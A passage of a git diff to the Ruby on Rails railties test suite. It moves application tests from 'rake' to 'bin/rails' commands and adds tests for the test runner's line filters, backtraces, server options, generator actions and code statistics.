db:fixtures:load FIXTURES=products` } assert $?.success?, errormsg assert_equal 2, ::AppTemplate::Application::Product.count @@ -174,45 +271,63 @@ module ApplicationTests def test_loading_only_yml_fixtures Dir.chdir(app_path) do - `rake db:migrate` + `bin/rails db:migrate` end app_file "test/fixtures/products.csv", "" require "#{rails_root}/config/environment" - errormsg = Dir.chdir(app_path) { `rake db:fixtures:load` } + errormsg = Dir.chdir(app_path) { `bin/rails db:fixtures:load` } assert $?.success?, errormsg end def test_scaffold_tests_pass_by_default output = Dir.chdir(app_path) do - `rails generate scaffold user username:string password:string; - bundle exec rake db:migrate test` + `bin/rails generate scaffold user username:string password:string; + RAILS_ENV=test bin/rails db:migrate test` end - assert_match(/7 runs, 13 assertions, 0 failures, 0 errors/, output) + assert_match(/7 runs, 12 assertions, 0 failures, 0 errors/, output) assert_no_match(/Errors running/, output) end - def test_scaffold_with_references_columns_tests_pass_when_belongs_to_is_optional - app_file "config/initializers/active_record_belongs_to_required_by_default.rb", - "Rails.application.config.active_record.belongs_to_required_by_default = false" + def test_api_scaffold_tests_pass_by_default + add_to_config <<-RUBY + config.api_only = true + RUBY + + app_file "app/controllers/application_controller.rb", <<-RUBY + class ApplicationController < ActionController::API + end + RUBY + + output = Dir.chdir(app_path) do + `bin/rails generate scaffold user username:string password:string; + RAILS_ENV=test bin/rails db:migrate test` + end + + assert_match(/5 runs, 7 assertions, 0 failures, 0 errors/, output) + assert_no_match(/Errors running/, output) + end + def test_scaffold_with_references_columns_tests_pass_by_default output = Dir.chdir(app_path) do - `rails generate scaffold LineItems product:references cart:belongs_to; - bundle exec rake db:migrate test` + `bin/rails generate model Product; + bin/rails generate model Cart; + bin/rails generate scaffold LineItems product:references cart:belongs_to; + RAILS_ENV=test bin/rails db:migrate test` end - assert_match(/7 runs, 13 assertions, 0 failures, 0 errors/, output) + assert_match(/7 runs, 12 assertions, 0 failures, 0 errors/, output) assert_no_match(/Errors running/, output) end def test_db_test_clone_when_using_sql_format add_to_config "config.active_record.schema_format = :sql" output = Dir.chdir(app_path) do - `rails generate scaffold user username:string; - bundle exec rake db:migrate; - bundle exec rake db:test:clone 2>&1 --trace` + `bin/rails generate scaffold user username:string; + bin/rails db:migrate; + bin/rails db:test:clone 2>&1 --trace` end assert_match(/Execute db:test:clone_structure/, output) end @@ -220,9 +335,9 @@ module ApplicationTests def test_db_test_prepare_when_using_sql_format add_to_config "config.active_record.schema_format = :sql" output = Dir.chdir(app_path) do - `rails generate scaffold user username:string; - bundle exec rake db:migrate; - bundle exec rake db:test:prepare 2>&1 --trace` + `bin/rails generate scaffold user username:string; + bin/rails db:migrate; + bin/rails db:test:prepare 2>&1 --trace` end assert_match(/Execute db:test:load_structure/, output) end @@ -230,7 +345,7 @@ module ApplicationTests def test_rake_dump_structure_should_respect_db_structure_env_variable Dir.chdir(app_path) do # ensure we have a schema_migrations table to dump - `bundle exec rake db:migrate db:structure:dump SCHEMA=db/my_structure.sql` + `bin/rails db:migrate db:structure:dump SCHEMA=db/my_structure.sql` end assert File.exist?(File.join(app_path, 'db', 'my_structure.sql')) end @@ -239,8 +354,8 @@ module ApplicationTests add_to_config "config.active_record.schema_format = :sql" output = Dir.chdir(app_path) do - `rails g model post title:string; - bundle exec rake db:migrate:redo 2>&1 --trace;` + `bin/rails g model post title:string; + bin/rails db:migrate:redo 2>&1 --trace;` end # expect only Invoke db:structure:dump (first_time) @@ -249,23 +364,23 @@ module ApplicationTests def test_rake_dump_schema_cache Dir.chdir(app_path) do - `rails generate model post title:string; - rails generate model product name:string; - bundle exec rake db:migrate db:schema:cache:dump` + `bin/rails generate model post title:string; + bin/rails generate model product name:string; + bin/rails db:migrate db:schema:cache:dump` end assert File.exist?(File.join(app_path, 'db', 'schema_cache.dump')) end def test_rake_clear_schema_cache Dir.chdir(app_path) do - `bundle exec rake db:schema:cache:dump db:schema:cache:clear` + `bin/rails db:schema:cache:dump db:schema:cache:clear` end assert !File.exist?(File.join(app_path, 'db', 'schema_cache.dump')) end def test_copy_templates Dir.chdir(app_path) do - `bundle exec rake rails:templates:copy` + `bin/rails app:templates:copy` %w(controller mailer scaffold).each do |dir| assert File.exist?(File.join(app_path, 'lib', 'templates', 'erb', dir)) end @@ -280,10 +395,17 @@ module ApplicationTests app_file "template.rb", "" output = Dir.chdir(app_path) do - `bundle exec rake rails:template LOCATION=template.rb` + `bin/rails app:template LOCATION=template.rb` end assert_match(/Hello, World!/, output) end + + def test_tmp_clear_should_work_if_folder_missing + FileUtils.remove_dir("#{app_path}/tmp") + errormsg = Dir.chdir(app_path) { `bin/rails tmp:clear` } + assert_predicate $?, :success? + assert_empty errormsg + end end end diff --git a/railties/test/application/routing_test.rb b/railties/test/application/routing_test.rb index cbada6be97..e51f32aaed 100644 --- a/railties/test/application/routing_test.rb +++ b/railties/test/application/routing_test.rb @@ -21,6 +21,12 @@ module ApplicationTests assert_equal 200, last_response.status end + test "rails/info in development" do + app("development") + get "/rails/info" + assert_equal 302, last_response.status + end + test "rails/info/routes in development" do app("development") get "/rails/info/routes" @@ -36,8 +42,7 @@ module ApplicationTests test "root takes precedence over internal welcome controller" do app("development") - get '/' - assert_match %r{<h1>Getting started</h1>} , last_response.body + assert_welcome get('/') controller :foo, <<-RUBY class FooController < ApplicationController @@ -63,6 +68,12 @@ module ApplicationTests assert_equal 404, last_response.status end + test "rails/info in production" do + app("production") + get "/rails/info" + assert_equal 404, last_response.status + end + test "rails/info/routes in production" do app("production") get "/rails/info/routes" diff --git a/railties/test/application/runner_test.rb b/railties/test/application/runner_test.rb index 6595c40f8b..9f15ce5e85 100644 --- a/railties/test/application/runner_test.rb +++ b/railties/test/application/runner_test.rb @@ -25,15 +25,15 @@ module ApplicationTests end def test_should_include_runner_in_shebang_line_in_help_without_option - assert_match "/rails runner", Dir.chdir(app_path) { `bundle exec rails runner` } + assert_match "/rails runner", Dir.chdir(app_path) { `bin/rails runner` } end def test_should_include_runner_in_shebang_line_in_help - assert_match "/rails runner", Dir.chdir(app_path) { `bundle exec rails runner --help` } + assert_match "/rails runner", Dir.chdir(app_path) { `bin/rails runner --help` } end def test_should_run_ruby_statement - assert_match "42", Dir.chdir(app_path) { `bundle exec rails runner "puts User.count"` } + assert_match "42", Dir.chdir(app_path) { `bin/rails runner "puts User.count"` } end def test_should_run_file @@ -41,7 +41,7 @@ module ApplicationTests puts User.count SCRIPT - assert_match "42", Dir.chdir(app_path) { `bundle exec rails runner "bin/count_users.rb"` } + assert_match "42", Dir.chdir(app_path) { `bin/rails runner "bin/count_users.rb"` } end def test_should_set_dollar_0_to_file @@ -49,7 +49,7 @@ module ApplicationTests puts $0 SCRIPT - assert_match "bin/dollar0.rb", Dir.chdir(app_path) { `bundle exec rails runner "bin/dollar0.rb"` } + assert_match "bin/dollar0.rb", Dir.chdir(app_path) { `bin/rails runner "bin/dollar0.rb"` } end def test_should_set_dollar_program_name_to_file @@ -57,7 +57,7 @@ module ApplicationTests puts $PROGRAM_NAME SCRIPT - assert_match "bin/program_name.rb", Dir.chdir(app_path) { `bundle exec rails runner "bin/program_name.rb"` } + assert_match "bin/program_name.rb", Dir.chdir(app_path) { `bin/rails runner "bin/program_name.rb"` } end def test_with_hook @@ -67,22 +67,32 @@ module ApplicationTests end RUBY - assert_match "true", Dir.chdir(app_path) { `bundle exec rails runner "puts Rails.application.config.ran"` } + assert_match "true", Dir.chdir(app_path) { `bin/rails runner "puts Rails.application.config.ran"` } end def test_default_environment - assert_match "development", Dir.chdir(app_path) { `bundle exec rails runner "puts Rails.env"` } + assert_match "development", Dir.chdir(app_path) { `bin/rails runner "puts Rails.env"` } + end + + def test_runner_detects_syntax_errors + Dir.chdir(app_path) { `bin/rails runner "puts 'hello world" 2>&1` } + refute $?.success? + end + + def test_runner_detects_bad_script_name + Dir.chdir(app_path) { `bin/rails runner "iuiqwiourowe" 2>&1` } + refute $?.success? end def test_environment_with_rails_env with_rails_env "production" do - assert_match "production", Dir.chdir(app_path) { `bundle exec rails runner "puts Rails.env"` } + assert_match "production", Dir.chdir(app_path) { `bin/rails runner "puts Rails.env"` } end end def test_environment_with_rack_env with_rack_env "production" do - assert_match "production", Dir.chdir(app_path) { `bundle exec rails runner "puts Rails.env"` } + assert_match "production", Dir.chdir(app_path) { `bin/rails runner "puts Rails.env"` } end end end diff --git a/railties/test/application/test_runner_test.rb b/railties/test/application/test_runner_test.rb index c122b315c0..08759ab5a4 100644 --- a/railties/test/application/test_runner_test.rb +++ b/railties/test/application/test_runner_test.rb @@ -1,9 +1,10 @@ require 'isolation/abstract_unit' require 'active_support/core_ext/string/strip' +require 'env_helpers' module ApplicationTests class TestRunnerTest < ActiveSupport::TestCase - include ActiveSupport::Testing::Isolation + include ActiveSupport::Testing::Isolation, EnvHelpers def setup build_app @@ -14,20 +15,6 @@ module ApplicationTests teardown_app end - def test_run_in_test_environment - app_file 'test/unit/env_test.rb', <<-RUBY - require 'test_helper' - - class EnvTest < ActiveSupport::TestCase - def test_env - puts "Current Environment: \#{Rails.env}" - end - end - RUBY - - assert_match "Current Environment: test", run_test_command('test/unit/env_test.rb') - end - def test_run_single_file create_test_file :models, 'foo' create_test_file :models, 'bar' @@ -187,7 +174,7 @@ module ApplicationTests end RUBY - run_test_command('-p rikka test/unit/chu_2_koi_test.rb').tap do |output| + run_test_command('-n /rikka/ test/unit/chu_2_koi_test.rb').tap do |output| assert_match "Rikka", output assert_no_match "Sanae", output end @@ -229,24 +216,324 @@ module ApplicationTests assert_match "development", run_test_command('test/unit/env_test.rb') end + def test_run_in_test_environment_by_default + create_env_test + + assert_match "Current Environment: test", run_test_command('test/unit/env_test.rb') + end + def test_run_different_environment - env = "development" - app_file 'test/unit/env_test.rb', <<-RUBY + create_env_test + + assert_match "Current Environment: development", + run_test_command("-e development test/unit/env_test.rb") + end + + def test_generated_scaffold_works_with_rails_test + create_scaffold + assert_match "0 failures, 0 errors, 0 skips", run_test_command('') + end + + def test_generated_controller_works_with_rails_test + create_controller + assert_match "0 failures, 0 errors, 0 skips", run_test_command('') + end + + def test_run_multiple_folders + create_test_file :models, 'account' + create_test_file :controllers, 'accounts_controller' + + run_test_command('test/models test/controllers').tap do |output| + assert_match 'AccountTest', output + assert_match 'AccountsControllerTest', output + assert_match '2 runs, 2 assertions, 0 failures, 0 errors, 0 skips', output + end + end + + def test_run_with_ruby_command + app_file 'test/models/post_test.rb', <<-RUBY require 'test_helper' - class EnvTest < ActiveSupport::TestCase - def test_env - puts Rails.env + class PostTest < ActiveSupport::TestCase + test 'declarative syntax works' do + puts 'PostTest' + assert true end end RUBY - assert_match env, run_test_command("-e #{env} test/unit/env_test.rb") + Dir.chdir(app_path) do + `ruby -Itest test/models/post_test.rb`.tap do |output| + assert_match 'PostTest', output + assert_no_match 'is already defined in', output + end + end end - def test_generated_scaffold_works_with_rails_test - create_scaffold - assert_match "0 failures, 0 errors, 0 skips", run_test_command('') + def test_mix_files_and_line_filters + create_test_file :models, 'account' + app_file 'test/models/post_test.rb', <<-RUBY + require 'test_helper' + + class PostTest < ActiveSupport::TestCase + def test_post + puts 'PostTest' + assert true + end + + def test_line_filter_does_not_run_this + assert true + end + end + RUBY + + run_test_command('test/models/account_test.rb test/models/post_test.rb:4').tap do |output| + assert_match 'AccountTest', output + assert_match 'PostTest', output + assert_match '2 runs, 2 assertions', output + end + end + + def test_more_than_one_line_filter + app_file 'test/models/post_test.rb', <<-RUBY + require 'test_helper' + + class PostTest < ActiveSupport::TestCase + test "first filter" do + puts 'PostTest:FirstFilter' + assert true + end + + test "second filter" do + puts 'PostTest:SecondFilter' + assert true + end + + test "test line filter does not run this" do + assert true + end + end + RUBY + + run_test_command('test/models/post_test.rb:4:9').tap do |output| + assert_match 'PostTest:FirstFilter', output + assert_match 'PostTest:SecondFilter', output + assert_match '2 runs, 2 assertions', output + end + end + + def test_more_than_one_line_filter_with_multiple_files + app_file 'test/models/account_test.rb', <<-RUBY + require 'test_helper' + + class AccountTest < ActiveSupport::TestCase + test "first filter" do + puts 'AccountTest:FirstFilter' + assert true + end + + test "second filter" do + puts 'AccountTest:SecondFilter' + assert true + end + + test "line filter does not run this" do + assert true + end + end + RUBY + + app_file 'test/models/post_test.rb', <<-RUBY + require 'test_helper' + + class PostTest < ActiveSupport::TestCase + test "first filter" do + puts 'PostTest:FirstFilter' + assert true + end + + test "second filter" do + puts 'PostTest:SecondFilter' + assert true + end + + test "line filter does not run this" do + assert true + end + end + RUBY + + run_test_command('test/models/account_test.rb:4:9 test/models/post_test.rb:4:9').tap do |output| + assert_match 'AccountTest:FirstFilter', output + assert_match 'AccountTest:SecondFilter', output + assert_match 'PostTest:FirstFilter', output + assert_match 'PostTest:SecondFilter', output + assert_match '4 runs, 4 assertions', output + end + end + + def test_multiple_line_filters + create_test_file :models, 'account' + create_test_file :models, 'post' + + run_test_command('test/models/account_test.rb:4 test/models/post_test.rb:4').tap do |output| + assert_match 'AccountTest', output + assert_match 'PostTest', output + end + end + + def test_line_filters_trigger_only_one_runnable + app_file 'test/models/post_test.rb', <<-RUBY + require 'test_helper' + + class PostTest < ActiveSupport::TestCase + test 'truth' do + assert true + end + end + + class SecondPostTest < ActiveSupport::TestCase + test 'truth' do + assert false, 'ran second runnable' + end + end + RUBY + + # Pass seed guaranteeing failure. + run_test_command('test/models/post_test.rb:4 --seed 30410').tap do |output| + assert_no_match 'ran second runnable', output + assert_match '1 runs, 1 assertions', output + end + end + + def test_line_filter_with_minitest_string_filter + app_file 'test/models/post_test.rb', <<-RUBY + require 'test_helper' + + class PostTest < ActiveSupport::TestCase + test 'by line' do + puts 'by line' + assert true + end + + test 'by name' do + puts 'by name' + assert true + end + end + RUBY + + run_test_command('test/models/post_test.rb:4 -n test_by_name').tap do |output| + assert_match 'by line', output + assert_match 'by name', output + assert_match '2 runs, 2 assertions', output + end + end + + def test_shows_filtered_backtrace_by_default + create_backtrace_test + + assert_match 'Rails::BacktraceCleaner', run_test_command('test/unit/backtrace_test.rb') + end + + def test_backtrace_option + create_backtrace_test + + assert_match 'Minitest::BacktraceFilter', run_test_command('test/unit/backtrace_test.rb -b') + assert_match 'Minitest::BacktraceFilter', + run_test_command('test/unit/backtrace_test.rb --backtrace') + end + + def test_show_full_backtrace_using_backtrace_environment_variable + create_backtrace_test + + switch_env 'BACKTRACE', 'true' do + assert_match 'Minitest::BacktraceFilter', run_test_command('test/unit/backtrace_test.rb') + end + end + + def test_run_app_without_rails_loaded + # Simulate a real Rails app boot. + app_file 'config/boot.rb', <<-RUBY + ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__) + + require 'bundler/setup' # Set up gems listed in the Gemfile. + RUBY + + assert_match '0 runs, 0 assertions', run_test_command('') + end + + def test_output_inline_by_default + create_test_file :models, 'post', pass: false + + output = run_test_command('test/models/post_test.rb') + expect = %r{Running:\n\nPostTest\nF\n\nFailure:\nPostTest#test_truth \[[^\]]+test/models/post_test.rb:6\]:\nwups!\n\nbin/rails test test/models/post_test.rb:4\n\n\n\n} + assert_match expect, output + end + + def test_only_inline_failure_output + create_test_file :models, 'post', pass: false + + output = run_test_command('test/models/post_test.rb') + assert_match %r{Finished in.*\n\n1 runs, 1 assertions}, output + end + + def test_fail_fast + create_test_file :models, 'post', pass: false + + assert_match(/Interrupt/, + capture(:stderr) { run_test_command('test/models/post_test.rb --fail-fast') }) + end + + def test_raise_error_when_specified_file_does_not_exist + error = capture(:stderr) { run_test_command('test/not_exists.rb') } + assert_match(%r{cannot load such file.+test/not_exists\.rb}, error) + end + + def test_pass_TEST_env_on_rake_test + create_test_file :models, 'account' + create_test_file :models, 'post', pass: false + # This specifically verifies TEST for backwards compatibility with rake test + # as bin/rails test already supports running tests from a single file more cleanly. + output = Dir.chdir(app_path) { `bin/rake test TEST=test/models/post_test.rb` } + + assert_match "PostTest", output, "passing TEST= should run selected test" + assert_no_match "AccountTest", output, "passing TEST= should only run selected test" + assert_match '1 runs, 1 assertions', output + end + + def test_pass_rake_options + create_test_file :models, 'account' + output = Dir.chdir(app_path) { `bin/rake --rakefile Rakefile --trace=stdout test` } + + assert_match '1 runs, 1 assertions', output + assert_match 'Execute test', output + end + + def test_rails_db_create_all_restores_db_connection + create_test_file :models, 'account' + output = Dir.chdir(app_path) { `bin/rails db:create:all db:migrate && echo ".tables" | rails dbconsole` } + assert_match "ar_internal_metadata", output, "tables should be dumped" + end + + def test_rails_db_create_all_restores_db_connection_after_drop + create_test_file :models, 'account' + Dir.chdir(app_path) { `bin/rails db:create:all` } # create all to avoid warnings + output = Dir.chdir(app_path) { `bin/rails db:drop:all db:create:all db:migrate && echo ".tables" | rails dbconsole` } + assert_match "ar_internal_metadata", output, "tables should be dumped" + end + + def test_rake_passes_TESTOPTS_to_minitest + create_test_file :models, 'account' + output = Dir.chdir(app_path) { `bin/rake test TESTOPTS=-v` } + assert_match "AccountTest#test_truth", output, "passing TEST= should run selected test" + end + + def test_rake_passes_multiple_TESTOPTS_to_minitest + create_test_file :models, 'account' + output = Dir.chdir(app_path) { `bin/rake test TESTOPTS='-v --seed=1234'` } + assert_match "AccountTest#test_truth", output, "passing TEST= should run selected test" + assert_match "seed=1234", output, "passing TEST= should run selected test" end private @@ -284,18 +571,42 @@ module ApplicationTests RUBY end + def create_backtrace_test + app_file 'test/unit/backtrace_test.rb', <<-RUBY + require 'test_helper' + + class BacktraceTest < ActiveSupport::TestCase + def test_backtrace + puts Minitest.backtrace_filter + end + end + RUBY + end + def create_schema app_file 'db/schema.rb', '' end - def create_test_file(path = :unit, name = 'test') + def create_test_file(path = :unit, name = 'test', pass: true) app_file "test/#{path}/#{name}_test.rb", <<-RUBY require 'test_helper' class #{name.camelize}Test < ActiveSupport::TestCase def test_truth puts "#{name.camelize}Test" - assert true + assert #{pass}, 'wups!' + end + end + RUBY + end + + def create_env_test + app_file 'test/unit/env_test.rb', <<-RUBY + require 'test_helper' + + class EnvTest < ActiveSupport::TestCase + def test_env + puts "Current Environment: \#{Rails.env}" end end RUBY @@ -307,8 +618,12 @@ module ApplicationTests run_migration end + def create_controller + script 'generate controller admin/dashboard index' + end + def run_migration - Dir.chdir(app_path) { `bundle exec rake db:migrate` } + Dir.chdir(app_path) { `bin/rails db:migrate` } end end end diff --git a/railties/test/application/test_test.rb b/railties/test/application/test_test.rb index 61652e5052..85b003fce9 100644 --- a/railties/test/application/test_test.rb +++ b/railties/test/application/test_test.rb @@ -44,7 +44,7 @@ module ApplicationTests def test_index get '/posts' assert_response :success - assert_template "index" + assert_includes @response.body, 'Posts#index' end end RUBY @@ -64,8 +64,8 @@ module ApplicationTests RUBY output = run_test_file('unit/failing_test.rb', env: { "BACKTRACE" => "1" }) - assert_match %r{/app/test/unit/failing_test\.rb}, output - assert_match %r{/app/test/unit/failing_test\.rb:4}, output + assert_match %r{test/unit/failing_test\.rb}, output + assert_match %r{test/unit/failing_test\.rb:4}, output end test "ruby schema migrations" do @@ -232,7 +232,7 @@ module ApplicationTests assert_successful_test_run "models/user_test.rb" - Dir.chdir(app_path) { `bin/rake db:test:prepare` } + Dir.chdir(app_path) { `bin/rails db:test:prepare` } assert_unsuccessful_run "models/user_test.rb", <<-ASSERTION Expected: ["id", "name"] diff --git a/railties/test/code_statistics_calculator_test.rb b/railties/test/code_statistics_calculator_test.rb index 46445a001a..cecc3908b3 100644 --- a/railties/test/code_statistics_calculator_test.rb +++ b/railties/test/code_statistics_calculator_test.rb @@ -299,6 +299,22 @@ class Animal assert_equal 0, @code_statistics_calculator.methods end + test 'count rake tasks' do + code = <<-'CODE' + task :test_task do + puts 'foo' + end + + CODE + + @code_statistics_calculator.add_by_io(StringIO.new(code), :rake) + + assert_equal 4, @code_statistics_calculator.lines + assert_equal 3, @code_statistics_calculator.code_lines + assert_equal 0, @code_statistics_calculator.classes + assert_equal 0, @code_statistics_calculator.methods + end + private def temp_file(name, content) dir = File.expand_path '../fixtures/tmp', __FILE__ diff --git a/railties/test/code_statistics_test.rb b/railties/test/code_statistics_test.rb new file mode 100644 index 0000000000..4d80901217 --- /dev/null +++ b/railties/test/code_statistics_test.rb @@ -0,0 +1,33 @@ +require 'abstract_unit' +require 'rails/code_statistics' + +class CodeStatisticsTest < ActiveSupport::TestCase + def setup + @tmp_path = File.expand_path(File.join(File.dirname(__FILE__), 'fixtures', 'tmp')) + @dir_js = File.join(@tmp_path, 'lib.js') + FileUtils.mkdir_p(@dir_js) + end + + def teardown + FileUtils.rm_rf(@tmp_path) + end + + test 'ignores directories that happen to have source files extensions' do + assert_nothing_raised do + @code_statistics = CodeStatistics.new(['tmp dir', @tmp_path]) + end + end + + test 'ignores hidden files' do + File.write File.join(@tmp_path, '.example.rb'), <<-CODE + def foo + puts 'foo' + end + CODE + + assert_nothing_raised do + CodeStatistics.new(['hidden file', @tmp_path]) + end + end + +end diff --git a/railties/test/commands/dbconsole_test.rb b/railties/test/commands/dbconsole_test.rb index a3cd1eb0ed..a5aa6c14a2 100644 --- a/railties/test/commands/dbconsole_test.rb +++ b/railties/test/commands/dbconsole_test.rb @@ -99,37 +99,33 @@ class Rails::DBConsoleTest < ActiveSupport::TestCase end def test_rails_env_is_development_when_argument_is_dev - dbconsole = Rails::DBConsole.new - - dbconsole.stub(:available_environments, ['development', 'test']) do - options = dbconsole.send(:parse_arguments, ['dev']) + Rails::DBConsole.stub(:available_environments, ['development', 'test']) do + options = Rails::DBConsole.send(:parse_arguments, ['dev']) assert_match('development', options[:environment]) end end def test_rails_env_is_dev_when_argument_is_dev_and_dev_env_is_present - dbconsole = Rails::DBConsole.new - - dbconsole.stub(:available_environments, ['dev']) do - options = dbconsole.send(:parse_arguments, ['dev']) + Rails::DBConsole.stub(:available_environments, ['dev']) do + options = Rails::DBConsole.send(:parse_arguments, ['dev']) assert_match('dev', options[:environment]) end end def test_mysql - start(adapter: 'mysql', database: 'db') + start(adapter: 'mysql2', database: 'db') assert !aborted assert_equal [%w[mysql mysql5], 'db'], dbconsole.find_cmd_and_exec_args end def test_mysql_full - start(adapter: 'mysql', database: 'db', host: 'locahost', port: 1234, socket: 'socket', username: 'user', password: 'qwerty', encoding: 'UTF-8') + start(adapter: 'mysql2', database: 'db', host: 'locahost', port: 1234, socket: 'socket', username: 'user', password: 'qwerty', encoding: 'UTF-8') assert !aborted assert_equal [%w[mysql mysql5], '--host=locahost', '--port=1234', '--socket=socket', '--user=user', '--default-character-set=UTF-8', '-p', 'db'], dbconsole.find_cmd_and_exec_args end def test_mysql_include_password - start({adapter: 'mysql', database: 'db', username: 'user', password: 'qwerty'}, ['-p']) + start({adapter: 'mysql2', database: 'db', username: 'user', password: 'qwerty'}, ['-p']) assert !aborted assert_equal [%w[mysql mysql5], '--user=user', '--password=qwerty', 'db'], dbconsole.find_cmd_and_exec_args end @@ -158,12 +154,6 @@ class Rails::DBConsoleTest < ActiveSupport::TestCase assert_equal 'q1w2e3', ENV['PGPASSWORD'] end - def test_sqlite - start(adapter: 'sqlite', database: 'db') - assert !aborted - assert_equal ['sqlite', 'db'], dbconsole.find_cmd_and_exec_args - end - def test_sqlite3 start(adapter: 'sqlite3', database: 'db.sqlite3') assert !aborted diff --git a/railties/test/commands/server_test.rb b/railties/test/commands/server_test.rb index ba688f1e9e..38a1605d1f 100644 --- a/railties/test/commands/server_test.rb +++ b/railties/test/commands/server_test.rb @@ -44,6 +44,30 @@ class Rails::ServerTest < ActiveSupport::TestCase end end + def test_environment_with_port + switch_env "PORT", "1234" do + server = Rails::Server.new + assert_equal 1234, server.options[:Port] + end + end + + def test_caching_without_option + args = [] + options = Rails::Server::Options.new.parse!(args) + merged_options = Rails::Server.new.default_options.merge(options) + assert_equal nil, merged_options[:caching] + end + + def test_caching_with_option + args = ["--dev-caching"] + options = Rails::Server::Options.new.parse!(args) + assert_equal true, options[:caching] + + args = ["--no-dev-caching"] + options = Rails::Server::Options.new.parse!(args) + assert_equal false, options[:caching] + end + def test_log_stdout with_rack_env nil do with_rails_env nil do @@ -85,4 +109,27 @@ class Rails::ServerTest < ActiveSupport::TestCase end end end + + def test_default_options + server = Rails::Server.new + old_default_options = server.default_options + + Dir.chdir("..") do + assert_equal old_default_options, server.default_options + end + end + + def test_restart_command_contains_customized_options + original_args = ARGV.dup + args = ["-p", "4567"] + ARGV.replace args + + options = Rails::Server::Options.new.parse! args + server = Rails::Server.new options + expected = "bin/rails server -p 4567" + + assert_equal expected, server.default_options[:restart_cmd] + ensure + ARGV.replace original_args + end end diff --git a/railties/test/generators/actions_test.rb b/railties/test/generators/actions_test.rb index c0b88089b3..3b2b3c37d0 100644 --- a/railties/test/generators/actions_test.rb +++ b/railties/test/generators/actions_test.rb @@ -1,7 +1,6 @@ require 'generators/generators_test_helper' require 'rails/generators/rails/app/app_generator' require 'env_helpers' -require 'mocha/setup' # FIXME: stop using mocha class ActionsTest < Rails::Generators::TestCase include GeneratorsTestHelper @@ -45,6 +44,23 @@ class ActionsTest < Rails::Generators::TestCase assert_file 'Gemfile', /source 'http:\/\/gems\.github\.com'/ end + def test_add_source_with_block_adds_source_to_gemfile_with_gem + run_generator + action :add_source, 'http://gems.github.com' do + gem 'rspec-rails' + end + assert_file 'Gemfile', /source 'http:\/\/gems\.github\.com' do\n gem 'rspec-rails'\nend/ + end + + def test_add_source_with_block_adds_source_to_gemfile_after_gem + run_generator + action :gem, 'will-paginate' + action :add_source, 'http://gems.github.com' do + gem 'rspec-rails' + end + assert_file 'Gemfile', /gem 'will-paginate'\nsource 'http:\/\/gems\.github\.com' do\n gem 'rspec-rails'\nend/ + end + def test_gem_should_put_gem_dependency_in_gemfile run_generator action :gem, 'will-paginate' @@ -97,6 +113,14 @@ class ActionsTest < Rails::Generators::TestCase assert_file 'Gemfile', /^gem 'rspec', ">=2\.0'0"$/ end + def test_gem_works_even_if_frozen_string_is_passed_as_argument + run_generator + + action :gem, "frozen_gem".freeze, "1.0.0".freeze + + assert_file 'Gemfile', /^gem 'frozen_gem', '1.0.0'$/ + end + def test_gem_group_should_wrap_gems_in_a_group run_generator @@ -140,13 +164,15 @@ class ActionsTest < Rails::Generators::TestCase end def test_git_with_symbol_should_run_command_using_git_scm - generator.expects(:run).once.with('git init') - action :git, :init + assert_called_with(generator, :run, ['git init']) do + action :git, :init + end end def test_git_with_hash_should_run_each_command_using_git_scm - generator.expects(:run).times(2) - action :git, rm: 'README', add: '.' + assert_called_with(generator, :run, [ ["git rm README"], ["git add ."] ]) do + action :git, rm: 'README', add: '.' + end end def test_vendor_should_write_data_to_file_in_vendor @@ -170,46 +196,91 @@ class ActionsTest < Rails::Generators::TestCase end def test_generate_should_run_script_generate_with_argument_and_options - generator.expects(:run_ruby_script).once.with('bin/rails generate model MyModel', verbose: false) - action :generate, 'model', 'MyModel' + assert_called_with(generator, :run_ruby_script, ['bin/rails generate model MyModel', verbose: false]) do + action :generate, 'model', 'MyModel' + end + end + + def test_rails_should_run_rake_command_with_default_env + assert_called_with(generator, :run, ["rake log:clear RAILS_ENV=development", verbose: false]) do + with_rails_env nil do + action :rake, 'log:clear' + end + end end - def test_rake_should_run_rake_command_with_default_env - generator.expects(:run).once.with("rake log:clear RAILS_ENV=development", verbose: false) - with_rails_env nil do - action :rake, 'log:clear' + def test_rails_with_env_option_should_run_rake_command_in_env + assert_called_with(generator, :run, ['rake log:clear RAILS_ENV=production', verbose: false]) do + action :rake, 'log:clear', env: 'production' end end - def test_rake_with_env_option_should_run_rake_command_in_env - generator.expects(:run).once.with('rake log:clear RAILS_ENV=production', verbose: false) - action :rake, 'log:clear', env: 'production' + test "rails command with RAILS_ENV variable should run rake command in env" do + assert_called_with(generator, :run, ['rake log:clear RAILS_ENV=production', verbose: false]) do + with_rails_env "production" do + action :rake, 'log:clear' + end + end end - def test_rake_with_rails_env_variable_should_run_rake_command_in_env - generator.expects(:run).once.with('rake log:clear RAILS_ENV=production', verbose: false) - with_rails_env "production" do - action :rake, 'log:clear' + test "env option should win over RAILS_ENV variable when running rake" do + assert_called_with(generator, :run, ['rake log:clear RAILS_ENV=production', verbose: false]) do + with_rails_env "staging" do + action :rake, 'log:clear', env: 'production' + end end end - def test_env_option_should_win_over_rails_env_variable_when_running_rake - generator.expects(:run).once.with('rake log:clear RAILS_ENV=production', verbose: false) - with_rails_env "staging" do - action :rake, 'log:clear', env: 'production' + test "rails command with sudo option should run rake command with sudo" do + assert_called_with(generator, :run, ["sudo rake log:clear RAILS_ENV=development", verbose: false]) do + with_rails_env nil do + action :rake, 'log:clear', sudo: true + end + end + end + + test "rails command should run rails_command with default env" do + assert_called_with(generator, :run, ["rails log:clear RAILS_ENV=development", verbose: false]) do + with_rails_env nil do + action :rails_command, 'log:clear' + end end end - def test_rake_with_sudo_option_should_run_rake_command_with_sudo - generator.expects(:run).once.with("sudo rake log:clear RAILS_ENV=development", verbose: false) - with_rails_env nil do - action :rake, 'log:clear', sudo: true + test "rails command with env option should run rails_command with same env" do + assert_called_with(generator, :run, ['rails log:clear RAILS_ENV=production', verbose: false]) do + action :rails_command, 'log:clear', env: 'production' + end + end + + test "rails command with RAILS_ENV variable should run rails_command in env" do + assert_called_with(generator, :run, ['rails log:clear RAILS_ENV=production', verbose: false]) do + with_rails_env "production" do + action :rails_command, 'log:clear' + end + end + end + + def test_env_option_should_win_over_rails_env_variable_when_running_rails + assert_called_with(generator, :run, ['rails log:clear RAILS_ENV=production', verbose: false]) do + with_rails_env "staging" do + action :rails_command, 'log:clear', env: 'production' + end + end + end + + test "rails command with sudo option should run rails_command with sudo" do + assert_called_with(generator, :run, ["sudo rails log:clear RAILS_ENV=development", verbose: false]) do + with_rails_env nil do + action :rails_command, 'log:clear', sudo: true + end end end def test_capify_should_run_the_capify_command - generator.expects(:run).once.with('capify 